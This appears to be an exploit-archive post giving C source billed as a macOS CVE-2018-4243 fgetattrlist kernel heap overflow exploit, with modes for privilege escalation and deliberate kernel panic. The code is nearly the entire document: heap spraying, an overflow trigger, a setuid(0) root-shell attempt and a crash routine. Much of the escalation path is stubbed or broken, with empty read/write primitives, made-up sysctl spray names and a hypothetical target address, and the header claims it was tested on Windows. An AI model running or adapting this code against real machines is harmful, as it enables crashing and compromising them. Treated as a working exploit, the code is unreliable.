📄 macOS 10.13.4 (17E199) fgetattrlist Heap Overflow

=============================================================================================================================================
    | # Title     : macOS 10.13.4 (17E199) fgetattrlist Local Privilege Escalation via fgetattrlist heap overflow (XNU kernel)                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://apple.com/                                                                                                          |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212496/ & CVE-2018-4243
    
    [+] Summary : CVE-2018-4243 is a critical kernel heap overflow vulnerability in macOS and iOS affecting the fgetattrlist system call. 
                  The vulnerability allows local attackers to trigger kernel heap corruption, potentially leading to kernel panic, privilege escalation, or arbitrary code execution.
    [+]  POC :	
    
    /*
     * macOS CVE-2018-4243 LPE Exploit
     * Local Privilege Escalation via fgetattrlist heap overflow
     * by indoushka
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <sys/attr.h>
    #include <sys/types.h>
    #include <sys/sysctl.h>
    #include <mach/mach.h>
    #include <string.h>
    #include <pthread.h>
    #include <errno.h>
    
    #define MAX_FDS 1000
    #define SPRAY_COUNT 50000
    #define TARGET_SIZE 192  // Size for controlled heap spraying
    
    // Structure for fake object in kernel
    typedef struct {
        uint64_t next;
        uint64_t prev;
        uint64_t some_func_ptr;
        char padding[32];
    } fake_kobj_t;
    
    // Global variables
    int g_fds[MAX_FDS];
    int g_fd_count = 0;
    pthread_t spray_thread;
    
    // Kernel read primitive (placeholder - needs specific offset)
    uint64_t kernel_read_primitive(uint64_t addr) {
        // This would require specific kernel info leak
        // For PoC, we return dummy value
        return 0;
    }
    
    // Kernel write primitive via heap overflow
    void kernel_write_primitive(void* target, void* data, size_t size) {
        // This is where the actual overflow happens
        // We would craft specific heap layout
    }
    
    // Spray kernel heap with controlled objects
    void* heap_spray_thread(void* arg) {
        printf("[+] Starting heap spray thread\n");
        
        char* spray_data = malloc(TARGET_SIZE);
        if (!spray_data) {
            printf("[-] Failed to allocate spray data\n");
            return NULL;
        }
        
        // Craft fake object with function pointer we want to hijack
        fake_kobj_t fake_obj = {0};
        fake_obj.next = 0x4141414141414141;
        fake_obj.prev = 0x4242424242424242;
        // Target: cred structure or file operations pointer
        
        for (int i = 0; i < SPRAY_COUNT; i++) {
            // Use sysctl for heap spraying (common technique)
            char name[32];
            snprintf(name, sizeof(name), "kern.spray.%d", i);
            
            int mib[3];
            size_t mib_len = 3;
            
            if (sysctlnametomib(name, mib, &mib_len) == 0) {
                sysctl(mib, mib_len, NULL, 0, spray_data, TARGET_SIZE);
            }
            
            if (i % 1000 == 0) {
                printf("[.] Sprayed %d objects\n", i);
            }
        }
        
        free(spray_data);
        return NULL;
    }
    
    // Trigger the overflow with controlled data
    int trigger_overflow(int fd, void* overflow_data, size_t data_size) {
        struct attrlist al = {0};
        al.bitmapcount = ATTR_BIT_MAP_COUNT;
        al.volattr = 0xfff;
        al.commonattr = ATTR_CMN_RETURNED_ATTRS;
        
        // Use small buffer to cause overflow
        size_t buf_size = 16;
        
        // Prepare buffer with crafted data
        void* buffer = malloc(buf_size);
        if (!buffer) return -1;
        
        // Copy overflow payload to beginning of buffer
        // Kernel will write 36 bytes from offset 4
        memcpy(buffer, overflow_data, buf_size);
        
        int result = fgetattrlist(fd, &al, buffer, buf_size, 0);
        
        free(buffer);
        return result;
    }
    
    // Open multiple file descriptors for heap manipulation
    void setup_file_descriptors() {
        printf("[+] Setting up file descriptors for heap feng shui\n");
        
        for (int i = 0; i < MAX_FDS; i++) {
            g_fds[i] = open("/", O_RDONLY);
            if (g_fds[i] < 0) {
                g_fd_count = i;
                break;
            }
        }
        printf("[+] Opened %d file descriptors\n", g_fd_count);
    }
    
    // Close all file descriptors
    void cleanup_file_descriptors() {
        for (int i = 0; i < g_fd_count; i++) {
            if (g_fds[i] >= 0) {
                close(g_fds[i]);
            }
        }
    }
    
    // Attempt to get root privileges
    void get_root_shell() {
        printf("[+] Attempting to get root shell\n");
        
        // Method 1: Direct setuid(0)
        if (setuid(0) == 0) {
            printf("[+] Success! Got root via setuid(0)\n");
        } else {
            printf("[-] setuid(0) failed: %s\n", strerror(errno));
        }
        
        // Check current privileges
        if (getuid() == 0) {
            printf("[+] WE ARE ROOT! UID: %d\n", getuid());
            printf("[+] Spawning root shell...\n");
            
            // Launch root shell
            system("/bin/bash");
        } else {
            printf("[-] Still not root. UID: %d\n", getuid());
            printf("[-] Exploit failed or needs more work\n");
        }
    }
    
    // Main exploit logic
    void exploit() {
        printf("[*] macOS CVE-2018-4243 LPE Exploit\n");
        printf("[*] Attempting local privilege escalation\n\n");
        
        // Phase 1: Heap grooming
        printf("[*] Phase 1: Heap grooming\n");
        setup_file_descriptors();
        
        // Start heap spray thread
        if (pthread_create(&spray_thread, NULL, heap_spray_thread, NULL) != 0) {
            printf("[-] Failed to create spray thread\n");
            return;
        }
        
        // Phase 2: Prepare overflow payload
        printf("\n[*] Phase 2: Preparing overflow payload\n");
        
        // Craft payload to overwrite critical kernel structure
        // This would typically target:
        // 1. File operation pointers
        // 2. Credential structures (cred)
        // 3. VTable pointers
        
        char payload[192] = {0};
        
        // Example: Try to overwrite a function pointer
        // Placeholder for actual exploit payload
        uint64_t target_addr = 0xffffffff12345678; // Hypothetical address
        
        // Fill payload with target address at specific offset
        for (int i = 0; i < sizeof(payload)/8; i++) {
            ((uint64_t*)payload)[i] = target_addr;
        }
        
        // Phase 3: Trigger overflow
        printf("\n[*] Phase 3: Triggering controlled overflow\n");
        
        // Use one of our file descriptors
        if (g_fd_count > 0) {
            printf("[+] Triggering overflow on FD %d\n", g_fds[0]);
            
            // Wait for spray thread to set up heap
            sleep(1);
            
            int result = trigger_overflow(g_fds[0], payload, sizeof(payload));
            printf("[+] Overflow triggered, result: %d\n", result);
        }
        
        // Wait for spray thread
        pthread_join(spray_thread, NULL);
        
        // Phase 4: Attempt privilege escalation
        printf("\n[*] Phase 4: Attempting privilege escalation\n");
        
        // Try multiple escalation techniques
        
        // Technique 1: Direct kernel object manipulation
        printf("[+] Attempting kernel object corruption\n");
        
        // Technique 2: Try to execute privileged operations
        printf("[+] Testing current privileges\n");
        system("id");
        
        // Try to get root
        get_root_shell();
        
        // Cleanup
        cleanup_file_descriptors();
        
        printf("\n[*] Exploit completed\n");
    }
    
    // Fallback: Simple panic if LPE fails
    void panic_if_root_failed() {
        printf("[*] LPE failed, triggering kernel panic instead\n");
        
        int fd = open("/", O_RDONLY);
        if (fd < 0) return;
        
        struct attrlist al = {0};
        al.bitmapcount = ATTR_BIT_MAP_COUNT;
        al.commonattr = ATTR_CMN_RETURNED_ATTRS;
        
        // Use extremely small buffer to maximize panic chance
        size_t buf_size = 4;
        void* buffer = malloc(buf_size);
        
        if (buffer) {
            printf("[!] Triggering kernel panic...\n");
            fgetattrlist(fd, &al, buffer, buf_size, 0);
            free(buffer);
        }
        
        close(fd);
    }
    
    int main(int argc, char** argv) {
        printf("[*] ========================================\n");
        printf("[*] macOS CVE-2018-4243 Exploit Suite\n");
        printf("[*] ========================================\n\n");
        
        int choice = 1; // Default to LPE attempt
        
        if (argc > 1) {
            choice = atoi(argv[1]);
        }
        
        switch(choice) {
            case 1:
                printf("[*] Mode: Local Privilege Escalation Attempt\n");
                exploit();
                break;
                
            case 2:
                printf("[*] Mode: Kernel Panic (Proof of Concept)\n");
                {
                    int fd = open("/", O_RDONLY);
                    struct attrlist al = {0};
                    al.bitmapcount = ATTR_BIT_MAP_COUNT;
                    al.commonattr = ATTR_CMN_RETURNED_ATTRS;
                    
                    size_t buf_size = 8;
                    void* buf = malloc(buf_size);
                    
                    printf("[!] Triggering panic in 3 seconds...\n");
                    sleep(3);
                    
                    fgetattrlist(fd, &al, buf, buf_size, 0);
                    free(buf);
                    close(fd);
                }
                break;
                
            default:
                printf("[!] Invalid mode\n");
                printf("[!] Usage: %s [mode]\n", argv[0]);
                printf("[!] Modes: 1=LPE attempt, 2=Kernel panic\n");
                break;
        }
        
        return 0;
    }
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================